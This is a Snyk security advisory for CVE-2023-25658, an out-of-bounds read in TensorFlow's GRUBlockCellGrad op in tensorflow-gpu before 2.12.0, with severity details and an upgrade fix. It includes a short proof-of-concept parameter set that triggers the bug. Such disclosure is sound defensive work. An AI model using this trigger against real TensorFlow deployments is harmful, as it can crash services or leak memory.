Out-of-bounds Read Affecting tensorflow-gpu package, versions [,2.12.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (41st percentile)

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  • Snyk IDSNYK-PYTHON-TENSORFLOWGPU-3372988
  • published26 Mar 2023
  • disclosed26 Mar 2023
  • creditr3pwnx

Introduced: 26 Mar 2023

CVE-2023-25658  (opens in a new tab)
CWE-125  (opens in a new tab)

How to fix?

Upgrade tensorflow-gpu to version 2.12.0 or higher.

Overview

tensorflow-gpu is a machine learning framework.

Affected versions of this package are vulnerable to Out-of-bounds Read in GRUBlockCellGrad.

PoC

func = tf.raw_ops.GRUBlockCellGrad

para = {'x': [[21.1, 156.2], [83.3, 115.4]], 'h_prev': array([[136.5],
      [136.6]]), 'w_ru': array([[26.7,  0.8],
      [47.9, 26.1],
      [26.2, 26.3]]), 'w_c': array([[ 0.4],
      [31.5],
      [ 0.6]]), 'b_ru': array([0.1, 0.2 ], dtype=float32), 'b_c': 0x41414141, 'r': array([[0.3],
      [0.4]], dtype=float32), 'u': array([[5.7],
      [5.8]]), 'c': array([[52.9],
      [53.1]]), 'd_h': array([[172.2],
      [188.3 ]])}

References

CVSS Scores

version 3.1